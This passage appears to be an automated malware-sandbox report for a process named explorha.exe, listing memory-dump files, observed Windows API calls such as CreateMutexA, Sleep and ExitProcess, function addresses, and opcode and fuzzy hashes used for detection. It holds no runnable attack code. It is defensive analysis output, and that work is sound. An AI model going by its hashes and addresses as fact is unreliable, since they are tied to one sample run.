Associated: 00000001.00000002.1730861862.0000000000698000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730877059.0000000000699000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730894672.000000000069C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730913261.00000000006A5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730929516.00000000006A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730945921.00000000006B3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730964556.00000000006B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730982140.00000000006BA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731000861.00000000006C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731017904.00000000006D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731033518.00000000006D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731053307.00000000006DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731068635.00000000006E0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731085078.00000000006E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731101350.00000000006E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731116935.00000000006E9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731135514.00000000006EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731160283.000000000070B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731178328.0000000000711000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731196190.0000000000719000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731223422.000000000071D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731243359.0000000000725000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731261606.0000000000729000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731283680.0000000000737000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731303618.0000000000738000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731324804.0000000000745000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000747000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000766000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731393232.0000000000795000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731413734.0000000000796000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731435749.000000000079D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731456280.000000000079F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731478066.00000000007AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731496256.00000000007AC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731513260.00000000007AD000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_480000_explorha.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: Q"H$Q"H
API String ID: 2659868963-849129421
Opcode ID: 3e87e193afa3e0f381cca60859d9bb69573b80e84abb763dba90cb6b9b1aac7d
Instruction ID: 63aab08fc6b882687e81552fcc538e444b3d2ee5b154285bb248d435bba095b2
Opcode Fuzzy Hash: 3e87e193afa3e0f381cca60859d9bb69573b80e84abb763dba90cb6b9b1aac7d
Instruction Fuzzy Hash: 00319571910209ABDB14DF59C941B9EFBF9FF49720F10862BF414A7740E7B4A950CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00482A30 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00482A63

Strings

This function cannot be called on a default constructed task, xrefs: 00482A43
Q"H, xrefs: 00482A36

Memory Dump Source

Source File: 00000001.00000002.1730374185.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Offset: 00480000, based on PE: true

Associated: 00000001.00000002.1730343892.0000000000480000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730374185.00000000004E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730443996.00000000004E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730466179.00000000004EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730490228.00000000004F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730596147.0000000000659000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730622950.000000000065C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730653872.0000000000674000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730677570.0000000000675000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730698556.0000000000676000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730725681.0000000000677000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.0000000000678000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730743577.000000000067F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730779025.000000000068A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730794298.000000000068C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730812843.0000000000695000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730829110.0000000000696000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730846582.0000000000697000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730861862.0000000000698000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730877059.0000000000699000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730894672.000000000069C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730913261.00000000006A5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730929516.00000000006A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730945921.00000000006B3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730964556.00000000006B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1730982140.00000000006BA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731000861.00000000006C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731017904.00000000006D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731033518.00000000006D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731053307.00000000006DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731068635.00000000006E0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731085078.00000000006E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731101350.00000000006E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731116935.00000000006E9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731135514.00000000006EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731160283.000000000070B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731178328.0000000000711000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731196190.0000000000719000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731223422.000000000071D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731243359.0000000000725000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731261606.0000000000729000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731283680.0000000000737000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731303618.0000000000738000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731324804.0000000000745000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000747000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731341823.0000000000766000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731393232.0000000000795000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731413734.0000000000796000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731435749.000000000079D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731456280.000000000079F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731478066.00000000007AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731496256.00000000007AC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1731513260.00000000007AD000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_480000_explorha.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: Q"H$This function cannot be called on a default constructed task
API String ID: 2659868963-3128080560
Opcode ID: 646529f8e437cd1154b674b038b10b9d91329fbf1b899cca51791fadfb6e60ec
Instruction ID: 340642687a3565e11a0fe97bf88671098456a3dd4631973b7b9af10f9e2c706d
Opcode Fuzzy Hash: 646529f8e437cd1154b674b038b10b9d91329fbf1b899cca51791fadfb6e60ec
Instruction Fuzzy Hash: F2F0A770D1020C9BC710DF69985159EFBF89F65304F5082AFE44067301EBB41A54879D

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: explorha.exePID: 3084, Parent PID: 6556COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	207
Total number of Limit Nodes:	9

Executed Functions

Function 004B7BBB Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,004B7BBA,?,?,?,?,?,004B8C0E), ref: 004B7BF7

Memory Dump Source

Source File: 00000002.00000002.1746949833.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Offset: 00480000, based on PE: true

Associated: 00000002.00000002.1746915938.0000000000480000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1746949833.00000000004E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747028213.00000000004E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747057467.00000000004EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747087936.00000000004F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747192954.0000000000659000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747268041.000000000065C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747353211.0000000000674000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747441336.0000000000675000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747470178.0000000000676000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747499205.0000000000677000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747528068.0000000000678000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747528068.000000000067F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747590555.000000000068A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747641501.000000000068C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747669541.0000000000695000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747696410.0000000000696000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747726928.0000000000697000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747755320.0000000000698000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747782400.0000000000699000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747811172.000000000069C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747841560.00000000006A5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747871783.00000000006A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747904289.00000000006B2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747932033.00000000006B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747959817.00000000006BA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747986620.00000000006C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748014284.00000000006D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748041131.00000000006D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748068013.00000000006DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748094196.00000000006E0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748122900.00000000006E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748156226.00000000006E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748184399.00000000006E9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748211804.00000000006EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748244373.000000000070B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748275045.0000000000711000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748300883.0000000000719000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748330815.000000000071D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748359453.0000000000725000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748394038.0000000000729000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748421729.0000000000737000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748451426.0000000000738000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748484840.0000000000745000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748512576.0000000000747000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748512576.0000000000766000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748584858.0000000000795000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748613306.0000000000796000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748641675.000000000079D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748668761.000000000079F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748696628.00000000007AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748726730.00000000007AC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748756583.00000000007AD000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_480000_explorha.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 9271be01727e88215b316f0bef845b7f750883c2629e0503456cf4353fc689cb
Instruction ID: 9d2bf2e02c7a79d4324e7d3d8073db77eb99ec0d812b65f347516edc0a5f573f
Opcode Fuzzy Hash: 9271be01727e88215b316f0bef845b7f750883c2629e0503456cf4353fc689cb
Instruction Fuzzy Hash: 71E08C3008C248AFCF257B18C968EEA3B6DEB92348F001C15F9145A361CB29FD41D9A4

Uniqueness

Uniqueness Score: -1.00%

Function 00489675 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 0048A435
CreateMutexA.KERNELBASE(00000000,00000000,004E51D8), ref: 0048A453

Memory Dump Source

Source File: 00000002.00000002.1746949833.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Offset: 00480000, based on PE: true

Associated: 00000002.00000002.1746915938.0000000000480000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1746949833.00000000004E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747028213.00000000004E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747057467.00000000004EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747087936.00000000004F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747192954.0000000000659000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747268041.000000000065C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747353211.0000000000674000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747441336.0000000000675000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747470178.0000000000676000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747499205.0000000000677000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747528068.0000000000678000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747528068.000000000067F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747590555.000000000068A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747641501.000000000068C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747669541.0000000000695000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747696410.0000000000696000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747726928.0000000000697000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747755320.0000000000698000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747782400.0000000000699000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747811172.000000000069C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747841560.00000000006A5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747871783.00000000006A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747904289.00000000006B2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747932033.00000000006B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747959817.00000000006BA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747986620.00000000006C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748014284.00000000006D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748041131.00000000006D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748068013.00000000006DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748094196.00000000006E0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748122900.00000000006E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748156226.00000000006E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748184399.00000000006E9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748211804.00000000006EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748244373.000000000070B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748275045.0000000000711000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748300883.0000000000719000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748330815.000000000071D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748359453.0000000000725000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748394038.0000000000729000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748421729.0000000000737000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748451426.0000000000738000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748484840.0000000000745000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748512576.0000000000747000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748512576.0000000000766000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748584858.0000000000795000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748613306.0000000000796000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748641675.000000000079D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748668761.000000000079F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748696628.00000000007AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748726730.00000000007AC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748756583.00000000007AD000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_480000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 0a4dbb2d5cc130c5d53fb0019d50510da2779515e9ab9ef151adce3a1cfd6e72
Instruction ID: d3e519ecfa51cdc612eba1f4efbe442dbe03a9b60a668476468d4489800da99f
Opcode Fuzzy Hash: 0a4dbb2d5cc130c5d53fb0019d50510da2779515e9ab9ef151adce3a1cfd6e72
Instruction Fuzzy Hash: C5316871B101009BFB18FB78CD8476DBB62EB82318F248A1AE514AB7D2D77D59808759

Uniqueness

Uniqueness Score: -1.00%

Function 00489A14 Relevance: 3.1, APIs: 2, Instructions: 128
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 0048A435
CreateMutexA.KERNELBASE(00000000,00000000,004E51D8), ref: 0048A453

Memory Dump Source

Source File: 00000002.00000002.1746949833.0000000000481000.00000040.00000001.01000000.00000008.sdmp, Offset: 00480000, based on PE: true

Associated: 00000002.00000002.1746915938.0000000000480000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1746949833.00000000004E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747028213.00000000004E9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747057467.00000000004EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747087936.00000000004F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747192954.0000000000659000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747268041.000000000065C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747353211.0000000000674000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747441336.0000000000675000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747470178.0000000000676000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747499205.0000000000677000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747528068.0000000000678000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747528068.000000000067F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747590555.000000000068A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747641501.000000000068C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747669541.0000000000695000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747696410.0000000000696000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747726928.0000000000697000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747755320.0000000000698000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747782400.0000000000699000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747811172.000000000069C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747841560.00000000006A5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747871783.00000000006A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747904289.00000000006B2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747932033.00000000006B4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747959817.00000000006BA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1747986620.00000000006C7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748014284.00000000006D0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748041131.00000000006D2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748068013.00000000006DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748094196.00000000006E0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748122900.00000000006E1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748156226.00000000006E8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748184399.00000000006E9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748211804.00000000006EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748244373.000000000070B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748275045.0000000000711000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748300883.0000000000719000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748330815.000000000071D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748359453.0000000000725000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748394038.0000000000729000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748421729.0000000000737000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748451426.0000000000738000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748484840.0000000000745000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748512576.0000000000747000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748512576.0000000000766000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748584858.0000000000795000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748613306.0000000000796000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748641675.000000000079D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748668761.000000000079F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748696628.00000000007AB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748726730.00000000007AC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1748756583.00000000007AD000.00000040.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_480000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 0f9ec4a742c589cb8e0c4064167a5d2d81112121004836e8fdf9cf8f423346ab
Instruction ID: cbfe8d37220e1ed8316ae8e65e79cfaa6892fbc42bf9e7ca2a44780dc0eb5ab1
